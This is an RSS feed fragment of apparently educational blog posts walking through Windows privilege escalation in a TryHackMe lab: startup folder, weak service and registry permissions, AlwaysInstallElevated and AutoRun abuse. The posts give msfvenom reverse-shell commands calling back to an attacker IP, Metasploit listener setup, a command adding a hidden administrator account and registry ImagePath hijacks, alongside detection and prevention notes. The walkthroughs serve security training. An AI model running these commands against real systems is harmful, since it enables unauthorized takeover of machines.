            <content:encoded><![CDATA[<h3>Startup Folder</h3><p>Adversaries may achieve privilege escalation by adding their malicious programs to the startup folder. The startup folder automatically runs the programs stored in its folder once the user logged in. These programs run under the context of the login user and have the account’s associated permission level. If the startup folder has improper permissions, the attacker can leverage these permissions and add malicious programs to achieve his/her intended actions.</p><p><strong>Idea Behind The Attack</strong></p><p>The idea behind the attack is to check improper permissions on the startup folder. If found, place a reverse shell program. Once the user logs in, the reverse shell will be executed under the context of that user. If the privileged account logs in, then the attacker can get the reverse shell of that privileged account and can have all associated permissions.</p><p><strong>Lab Preparation</strong></p><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.248.165</p><p><strong>Victim Machine IP: </strong>10.10.212.224</p><p><strong>Low-Privilege User: </strong>user</p><p><strong>High-Privilege User: </strong>TCM</p><ol><li><strong>Initial Access:</strong></li></ol><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and gain administrative rights to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*ORcDHcZNSqa65s8aoMTtvA.jpeg" /><figcaption>Victim Machine With a Low Privileged User</figcaption></figure><p><strong>2. Reconnaissance</strong></p><p>Startup folder locations can be found in two places:</p><pre>- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</pre><pre>- C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</pre><p>The first location path is the system-wide startup folder that will be checked regardless of which user account logs in and the second location path is applicable only to the current user.</p><p>We are interested in the first location path that applies to all the users that will log in to the machine. To check the permission on the startup folder, run the following command:</p><pre>icacls “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*r3YTJwvbtJ8VA9XAv2AiAQ.jpeg" /><figcaption>Permissions on Startup folder</figcaption></figure><p>We can see that BUILT\Users has full control of the startup folder.</p><p><strong>3. Weaponization</strong></p><h4><strong>i. Creating A Payload:</strong></h4><p>We will create windows reverse TCP shell executable on the attacker machine by using msfvenom.</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.248.165 -f exe -o reverse_shell.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*Q_b1RweqCxo0_tG1r0i7Ww.jpeg" /><figcaption>Malicious Payload “revserse_shell.exe”</figcaption></figure><p><strong>Note: The default destination port is 4444</strong></p><h4><strong>ii. Set Up Listener:</strong></h4><p>The next step is to set up a listener on the attacking machine and listen on port 4444. For this purpose, we will use msfconsole to catch the reverse shell.</p><pre><strong> msfconsole</strong><br> <strong>use multi/handler</strong><br> <strong>set payload windows/meterpreter/reverse_tcp</strong><br> <strong>set lhost 10.10.248.165<br> run</strong></pre><p><strong>4. Delivery</strong></p><h4><strong>i. Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we will transfer our reverse shell program to the victim machine. I am using a python webserver to transfer and retrieve malicious executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*N7vThzpnuTkKbaRH6jMokQ.jpeg" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*O0D2MOh03ZuBrTpgGlEsig.jpeg" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*QHHWZJTUqoMOFtlPlABIeA.jpeg" /><figcaption>Path For Malicious Payload on Victim Machine</figcaption></figure><p><strong>5. Exploitation</strong></p><h4><strong>i. Executing Malicious Payload (Reverse shell)</strong></h4><p>Once the privileged user logs in to the machine, the reverse_shell.exe program runs and gives us a reverse shell of a privileged user on the attacking machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*jjYj6eg59qZtU5L8PvIqrQ.jpeg" /><figcaption>Reverse shell of user “TCM”</figcaption></figure><p><strong>Prevention</strong></p><p>Ensure proper permissions are set on the startup folder and only allow authorized user to edit files stored in the startup folder.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e9cfcefe0ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: Weak Service Permissions]]></title>
            <link>https://systemweakness.com/windows-privilege-escalation-weak-service-permissions-54b19d339024?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/54b19d339024</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[weak-permissions]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[weak-services]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Thu, 17 Mar 2022 20:40:03 GMT</pubDate>
            <atom:updated>2022-04-09T16:38:09.633Z</atom:updated>
            <content:encoded><![CDATA[<p>Adversaries can hijack binaries/executables used by windows services with their malicious payload if the permissions on the services are improperly configured. Adversaries may replace legitimate binaries with their malicious payloads that will trigger when the target service starts or restarts. If the windows service runs under high privileges then the replaced binary will also run with the same privileges and can perform administrative tasks which normally a standard user can’t perform with his/her restricted privileges.</p><h4><strong>Idea Behind The Attack</strong></h4><p>The idea behind the attack is to find windows services that a standard user has “write/modify” access and replace it with the malicious payload. Once the service is restarted, the malicious payload will run with the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).</p><h4><strong>Lab Preparation</strong></h4><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.25.206</p><p><strong>Victim Machine IP: </strong>10.10.29.7</p><p><strong>Low-Privilege User: </strong>user</p><h4><strong>Initial Access:</strong></h4><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and gain administrative rights to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*BXBHZJHBGpjWFlLJuFiIqw.jpeg" /><figcaption>Victim Machine With a Low Privilege User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*sLLMetsImKY6oLODJ25nDA.jpeg" /><figcaption>List of Users &amp; Members of Administrator Group</figcaption></figure><h4><strong>Reconnaissance</strong></h4><p>The first step is to determine the weak permissions on services. We can use PowerUp.ps1 to recon for the services that can be modified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*kcaCVmS4MagMsr4d6GBI0A.jpeg" /><figcaption>PowerUp.ps1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*TGr9a8igFWptRdksfb31lg.jpeg" /><figcaption>Service “filepermsvc” with Modified permission set to Everyone</figcaption></figure><p>We can see that the service “filepermsvc” has executable “filepermservice.exe” that can be modified by “Everyone”.</p><p><strong>EXPLOITATION</strong></p><h4><strong>Creating Payload</strong></h4><p>We will create and add user to the local administrator group. For this purpose, we have a payload based on c language, we simply add the following command in system() function to achieve our purpose:</p><pre>net user /add test P@ssword &amp;&amp; net localgroup administrators test /add</pre><p>Now compile the payload file by typing the following in the command prompt:</p><pre>x86_64-w64-mingw32-gcc payload.c -o filepermservice.exe</pre><p>(NOTE: if this is not installed, use ‘sudo apt install gcc-mingw-w64’)</p><p>The malicious filename should be the same as the service original executable <strong>“filepermservice.exe”</strong> because when we restart the service, the registry responsible for running the executable looks in its image path to run the file. If the malicious payload’s name is not the same as the original service executable, the attack will not work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*jw8Z0YrzYLzGgxS8zb_FvA.jpeg" /><figcaption>Registry Points towards Service “filepermsvc”</figcaption></figure><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our malicious program to the victim machine. I am using a python webserver to retrieve malicious executable and save it in C:\Program Files\File Permissions Service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*osXzhgB-FXZO0Vqb2YQbyg.jpeg" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*1zmQLOnuFsFVVC2FvlxLgw.jpeg" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*0A9CUgrhR9RXuOPAoy_TOw.jpeg" /><figcaption>Specifying Path For Malicious Payload on Victim Machine</figcaption></figure><h4><strong>Executing Malicious Payload</strong></h4><p>We can execute a malicious payload by restarting\starting the service filepermsvc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*-4foNYHr-ApikSYQ1siymg.jpeg" /><figcaption>Starting Service “filepermsvc”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*i5M3zUQEZK9gMDiLLQyR1g.jpeg" /><figcaption>Querying About Users &amp; local Administrators Group</figcaption></figure><p>We can see that user “test” is created and added to the local group of administrators.</p><h4>Prevention</h4><p>Only allow authorized administrators to interact with service changes and service binary target path locations. Deny execution from user directories such as file download directories and temp directories where able.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54b19d339024" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/windows-privilege-escalation-weak-service-permissions-54b19d339024">Windows Privilege Escalation: Weak Service Permissions</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: Weak Registry Permissions]]></title>
            <link>https://systemweakness.com/windows-privilege-escalation-weak-registry-permissions-9060c1ca7c10?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9060c1ca7c10</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[weak-registry-permission]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Sat, 12 Mar 2022 19:37:27 GMT</pubDate>
            <atom:updated>2022-03-17T07:07:08.407Z</atom:updated>
            <content:encoded><![CDATA[<h3>Weak Registry Permissions</h3><p>Adversaries as standard users can escalate privileges due to the weak registry permissions. They may execute their malicious payloads by modifying the registry keys associated with the service. In many cases, creating or modifying registry keys is limited to the administrators. However, the attacker may come across a registry key that can be modified as a standard user account.</p><h4><strong>Idea Behind The Attack</strong></h4><p>An attacker can leverage this misconfiguration to modify the ImagePath of service with the path of the custom malicious executable that will give an escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).</p><p><strong>Note: Service should be restarted to make changes effective.</strong></p><h4><strong>Lab Preparation</strong></h4><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.239.90</p><p><strong>Victim Machine IP: </strong>10.10.242.188</p><p><strong>Low-Privilege User: </strong>user</p><h4><strong>Initial Access:</strong></h4><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and gain administrative rights to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*KdFxVwQ2zd8ZMhKn4udc-w.png" /><figcaption>Victim Machine With a Low Privilege User</figcaption></figure><h4><strong>Reconnaissance</strong></h4><p>The first step is to determine the weak registry permissions. We can use Winpeas , Accesschk, and Autorun to recon for the registries set with weak permissions.</p><pre>accesschk64.exe -kw hklm\System\CurrentControlSet\Services | more</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*Ra3liW0iHNyaDaXY8ZVUoA.png" /><figcaption>regsvc key</figcaption></figure><p>We can see that the NT Authortiy\Interactive has write access to the registry key “regsvc”. For further information regarding regsvc, we can query the registry by typing the following command:</p><pre>Reg query hklm\System\CurrentControlSet\Services\regsvc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*CyX6-jZq-G90-gT4cX-Png.png" /><figcaption>Information of regsvc key</figcaption></figure><p>We can modify the ImagePath of the key and point it to our malicious custom executable.</p><p><strong>EXPLOITATION</strong></p><h4><strong>First Technique</strong></h4><p>In the first technique, we use reverse shell executable to get privileged user shell.</p><h4><strong>Creating Reverse shell:</strong></h4><p>As we know that the ImagePath is writeable, we create a windows TCP reverse shell using msfvenom on the attacking machine.</p><pre><strong>msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.239.90</strong> <strong>lport=3333 -f exe -o reverser_shell.exe</strong></pre><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our reverse shell program to the victim machine. I am using a python webserver to retrieve malicious executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*SzcDQOeSm3xUV1tvSTBSJQ.png" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*631UhMu64w5Y6xwDd1Giew.png" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*6ANQiwuA6OdgcJKQYPC0qA.png" /><figcaption>Specifying Path For Malicious Payload on Victim Machine i.e. C:\Temp folder</figcaption></figure><h4><strong>Set Up Listener:</strong></h4><p>The next step is to set up a listener on the attacker machine and listen on port 3333. For this purpose, we will use msfconsole to catch the reverse shell.</p><pre><strong> msfconsole</strong><br> <strong>use multi/handler</strong><br> <strong>set payload windows/meterpreter/reverse_tcp</strong><br> <strong>set lhost 10.10.239.90<br> set lport 3333</strong><br> <strong>run</strong></pre><h4><strong>Modifying The Registry “regsvc”</strong></h4><p>Now, we will modify the ImagePath value for the regsvc registry and set it as the path of the custom executable <strong>“reverse_shell.exe”</strong>. This can be done by running the following command in the Windows command shell:</p><pre>reg add “HKLM\SYSTEM\CurrentControlSet\services\regsvc” /t REG_EXPAND_SZ /v ImagePath /d “C:Temp\reverse_shell.exe” /f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*OWux5Qi_Qax1hqE21mfXgQ.png" /><figcaption>Registry value ”ImagePath” is modified</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*VTuRWv_iStOY8F2vOWX_wQ.png" /><figcaption>ImagePath points to Malicious Payload i.e. “reverse_shell.exe”</figcaption></figure><h4><strong>Executing Malicious Payload (Reverse shell)</strong></h4><p>We can execute malicious payload by restarting\starting the service regsvc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*LsvcRWTkNT3JIldOCjIDwQ.png" /><figcaption>Starting regsvc to make changes effective</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/348/1*_ZwH8O0Qt_uAEP9323gxKw.png" /><figcaption>Reverse Shell With Administrative Rights</figcaption></figure><p>The session is not persistent and died after some time therefore we use another technique to escalate privileges.</p><h4><strong>Second Technique</strong></h4><p>In the second technique, we create and add user <strong>“test” </strong>in the local administrator group.</p><h4><strong>Creating Payload</strong></h4><p>For this purpose, we have a payload based on c language, we simply add the following command in system() function to achieve our purpose:</p><pre>net user /add test P@ssword &amp;&amp; net localgroup administrators test /add</pre><p>Now compile the payload file by typing the following in the command prompt:</p><pre>x86_64-w64-mingw32-gcc payload.c -o x.exe</pre><p><strong>(NOTE: if this is not installed, use ‘sudo apt install gcc-mingw-w64’)</strong></p><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our reverse shell program to the victim machine. I am using a python webserver to retrieve malicious executable and save it in C:\Temp folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*SzcDQOeSm3xUV1tvSTBSJQ.png" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><h4><strong>Modifying The Registry “regsvc”</strong></h4><p>Now, we will modify the ImagePath value for the regsvc registry and set it as the path of the custom executable <strong>“x.exe”</strong>. This can be done by running the following command in the Windows command shell:</p><pre>reg add “HKLM\SYSTEM\CurrentControlSet\services\regsvc” /t REG_EXPAND_SZ /v ImagePath /d “C:Temp\x.exe” /f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*lSEeOyaxoKXGEdTPxQck1Q.png" /><figcaption>Registry value ”ImagePath” is modified</figcaption></figure><h4><strong>Executing Malicious Payload</strong></h4><p>We can execute malicious payload by restarting\starting the service regsvc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*gzrWbD_W8brs2vTwMpj-Fg.png" /><figcaption>Starting regsvc to make changes effective</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*qAUwZxthfwUJ9TNw0PlhBw.png" /><figcaption>User “test” Created and Added to the local administrator group</figcaption></figure><p>We can see that test user is created and added in the local administrator group.</p><h4><strong>Detection</strong></h4><p>We can log windows event ID 4657 to detect any modification made to the registry keys. If modification occur in ImagePath, it will be refelected in event Id 4657.</p><h4><strong>Prevention</strong></h4><p>Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9060c1ca7c10" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/windows-privilege-escalation-weak-registry-permissions-9060c1ca7c10">Windows Privilege Escalation: Weak Registry Permissions</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: AlwaysInstallElevated]]></title>
            <link>https://medium.com/@arrahim30/windows-privilege-escalation-leveraging-registry-part-2-66d8f704101a?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/66d8f704101a</guid>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[windows-attacks]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[alwaysinstallelevated]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Fri, 04 Mar 2022 18:20:08 GMT</pubDate>
            <atom:updated>2022-03-12T19:16:27.851Z</atom:updated>
            <content:encoded><![CDATA[<h3>AlwaysInstallElevated</h3><p>Microsoft Windows provides a group policy named <strong>“Always install with elevated privileges”</strong> that enables a low privilege user to install any Microsoft Windows Installer Package (MSI) with system-level privileges. MSI is a Microsoft-based installer package file format that is used for installing, storing, and removing a program. If this policy is enabled, then the attacker can run any MSI file with elevated privileges and can gain full administrative rights to the system. For more information, you can visit to the following link:</p><p><a href="https://docs.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated">AlwaysInstallElevated - Win32 apps</a></p><h3>Privilege Escalation By Using AlwaysInstallElevated Registry</h3><h4>Idea Behind The Attack</h4><p>The idea behind the attack is to upload a malicious executable with .msi format to the victim machine. Once the MSI file is executed, it runs with elevated privileges because of the group policy “Always install with elevated privileges” and we can get a reverse shell with administrative privilege or we can add a user in the local group of <strong>“Administrator” </strong>for persistence.</p><h4><strong>Lab Preparation</strong></h4><p>I am using<strong> “Heath Adams”</strong> Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker machine IP: </strong>10.10.94.137</p><p><strong>Victim Machine IP: </strong>10.10.242.188</p><p><strong>Low-Privilege User: </strong>user</p><h4><strong>Initial Access:</strong></h4><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it and gain administrative rights to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*b5t6hhLgiLA-R9-cgZJygw.jpeg" /><figcaption>Victim Machine With a Low Privilege User</figcaption></figure><h4><strong>Reconnaissance</strong></h4><p>The first step is to determine the policy status of “<strong>Always install with elevated privileges</strong>” and it can be identified with the PowerUp.ps1 script. We can also query the <strong>“AlwaysInstallElevated”</strong> registry using cmd to determine the policy status.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*6DlcMXzmpzzbkYYc-AkMTA.jpeg" /><figcaption>Manual Querying Registry Key</figcaption></figure><p>If the value of<strong> “AlwayInstallElevated” </strong>is set to 1, then the policy is enforced on the system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*LhIQ61DgjuFgqSc0uM2jjQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*3BP6u1Y9vyomTwYon2yEUA.jpeg" /><figcaption>PowerUp.ps1</figcaption></figure><p>PowerUp.ps1 not only identifies the misconfiguration but also gives us a function to create malicious MSI file to add users to the local administrator group.</p><h4><strong>Exploitation</strong></h4><h4><strong>First Technique</strong></h4><p>We can leverage PowerUp.ps1 function <strong>“Write-UserAddMSI” </strong>to create malicious MSI file to add users to the local administrator group. We can also achieve the same technique using Metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*XUnH2bVtKBV2W6mkeaCHbw.jpeg" /><figcaption>Local Administrator Group</figcaption></figure><p>For demonstration, we see that only TCM user is present in the Administrator group. Let’s run <strong>“Write-UserAddMSI” </strong>command to create a malicious MSI file <strong>“UserAdd.msi” </strong>and it will be installed in the same folder where PowerUp.ps1 is present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*oYN8H-2OF5kws2ir6pkczg.jpeg" /><figcaption>Generating Malicious Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*2GraibiTZI1SUz4q2olFjg.jpeg" /><figcaption>UserAdd.msi generated by PoerUp.ps1</figcaption></figure><p>Run the UserAdd MSI file and it will run with elevated privileges and enable us to add a user in the Administrator group which we normally not allowed as a low privilege user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/296/1*wbwqBfDvge-e6M23SrFD9g.jpeg" /><figcaption>Create User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*CHQYDzLSsSJa2OX0Z_5Nbw.jpeg" /><figcaption>test User In the Administrator Group</figcaption></figure><p>We can see that the <strong>“test”</strong> user is added to the Administrator group.</p><h4><strong>Second Technique</strong></h4><p>In this technique, we will create a reverse shell in MSI format with msfvenom and upload it to the victim machine.</p><pre><strong>msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.94.137</strong> <strong>lport=3333 -f msi -o setup.msi</strong></pre><h4><strong>Transferring Malicious Executable</strong></h4><p>After creating a malicious payload, we transfer our reverse shell program to the victim machine. I am using a python webserver to retrieve malicious executable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*PcJVn1cyH-tY-3ZPdcIhng.jpeg" /><figcaption>Starting Web Server on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*ucWR32A97Kgsi7bfvyN-xg.jpeg" /><figcaption>Retrieving Malicious Payload on Victim Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*m74lNUyAL6zPVMJbQbqt8w.jpeg" /><figcaption>Specifying Path For Malicious Payload on Victim Machine</figcaption></figure><h4><strong>Set Up Listener:</strong></h4><p>The next step is to set up a listener on attacker machine and listen on port 3333. For this purpose, we will use msfconsole to catch the reverse shell.</p><pre><strong> msfconsole</strong><br> <strong>use multi/handler</strong><br> <strong>set payload windows/meterpreter/reverse_tcp</strong><br> <strong>set lhost 10.10.94.137<br> set lport 3333</strong><br> <strong>run</strong></pre><h4><strong>Executing Malicious Payload (Reverse shell)</strong></h4><p>Once the MSI file will run, we have a reverse shell with administrative privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/336/1*ZfGtro_Sz5LYLOBeXRhA5Q.jpeg" /><figcaption>Reverse Shell With Administrative Rights</figcaption></figure><h4><strong>Detection:</strong></h4><p>We can log windows event ID 4657 to detect any modification made to the registry keys. Further, we can specifically monitor the following registries to detect if <strong>“AlwaysInstallElevated” </strong>parameter is set to 1:</p><pre>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</pre><pre>reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated</pre><h4><strong>Prevention:</strong></h4><p>Microsoft discourages to use and enable policy <strong>“Always install with elevated privileges”.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66d8f704101a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Windows Privilege Escalation: AutoRun]]></title>
            <link>https://medium.com/@arrahim30/windows-privilege-escalation-leveraging-registry-part-1-5e22a821f481?source=rss-d4d8131fc1b3------2</link>
            <guid isPermaLink="false">https://medium.com/p/5e22a821f481</guid>
            <category><![CDATA[autoruns]]></category>
            <category><![CDATA[backdoor]]></category>
            <category><![CDATA[persistence]]></category>
            <category><![CDATA[windows-registry]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <dc:creator><![CDATA[A.R.Rahim]]></dc:creator>
            <pubDate>Wed, 02 Mar 2022 21:56:51 GMT</pubDate>
            <atom:updated>2022-03-11T17:30:22.082Z</atom:updated>
            <content:encoded><![CDATA[<p>Privilege escalation is a post-exploitation technique that is used to gain higher privileges on the system. Threat actors exploit software bugs, misconfigurations, and incorrect access control to get unauthorized and privileged access to the organization’s assets. There are many ways to achieve it but today we focused on leveraging windows registries.</p><h3><strong>AutoRun:</strong></h3><p>Autorun is a windows feature that automatically starts certain programs whenever the system boots or the user logs in the system. These programs can be found in many places including the startup folder, Run, RunOnce, and other registry keys. If these programs are configured with improper permissions, then the attacker can leverage this misconfiguration and escalate privileges.</p><h3><strong>Privilege Escalation By Abusing Run/RunOnce Registry</strong></h3><h4><strong>Idea Behind The Attack</strong></h4><p>The idea behind the attack is to replace the writeable Autorun program that binds with the Run/RunOnce registry key with a reverse shell program, once the user logs in to the system, the reverse shell program executes and provides the attacker with a reverse shell that has the same privileges as the logged-in user. If the administrator login into the system then the attacker has a reverse shell with administrative privileges.</p><h4><strong>Lab Preparation</strong></h4><p>I am using “Heath Adams” Try hackme lab for testing this technique. You can create your own or can use the readymade lab from the given below link:</p><p><a href="https://tryhackme.com/room/windowsprivescarena">TryHackMe | Windows PrivEsc Arena</a></p><p><strong>Attacker Machine IP:</strong> 10.10.235.180</p><p><strong>Victim Machine IP: </strong>10.10.238.244</p><p><strong>Low-Privilege User: </strong>user</p><p><strong>High-Privilege User: </strong>TCM</p><h4><strong>Initial Access:</strong></h4><p>After gaining initial access, we have a low privilege user access named<strong> “user”</strong>. The goal is to escalate it to the privileged user named <strong>“TCM”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*63nMrhXf7VrxOvwPJ-OsDQ.png" /><figcaption>Victim Machine With a Low Privilege User</figcaption></figure><h4><strong>Determining AutoRun Programs</strong></h4><p>The first step is to find AutoRun programs and it can be identified with various tools like winpeas, PowerUp.ps1, autorun, etc. We can also query Run/RunOnce registries using cmd to determine the autorun programs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*cDf2g9jrBDnMUF7meuV8Wg.png" /><figcaption><strong>Autorun for windows (Sysinternals)</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*USE1o89nBJMevFYYbdGoMw.png" /><figcaption><strong>PowerUp.ps1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*ChQPePzgwtFWrlMj1EexzQ.png" /><figcaption><strong>PowerUp.ps1</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*aHEW6oQGrjxdozzEcHcXdg.png" /><figcaption><strong>Manual Querying Registry Key</strong></figcaption></figure><p>We observed that the <strong>“program.exe” </strong>program in the Auto Program folder is linked with the Run registry key which executes whenever a user logs in.</p><h4><strong>Determining the Permissions:</strong></h4><p>The next step is to determine the permission on the<strong> “program.exe”</strong> program. If the logged-in user has write access or <strong>“program.exe”</strong> has write access permission set for <strong>“Everyone”</strong> then we can replace it with our reverse shell program. We can check permission by icacls, Accesschk, or PowerUp.ps1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*a7D1TvtZNivL25X4RSGxcw.png" /><figcaption>Accesschk</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*MCl4udOhdKREpE1uwhro_g.png" /><figcaption>icacls</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*4CRHFAICj-WfBETRfRnv6w.png" /><figcaption>PowerUp.ps1</figcaption></figure><h4><strong>Creating Reverse shell:</strong></h4><p>As we know that the program.exe program is writeable by Everyone, we create a windows TCP reverse shell using msfvenom on the attacking machine.</p><pre><strong><em>msfvenom –p windows/meterpreter/reverse_tcp lhost=10.10.235.180 lport=3333 –f exe -o program.exe</em></strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*a8h1h3KjB9gPWF9ruLv1kg.png" /><figcaption>Creating Payload on Attacker Machine</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*zASK_Y1hniFMcq8CbfYTIg.png" /><figcaption>Moving payload to reverse_shell directory on 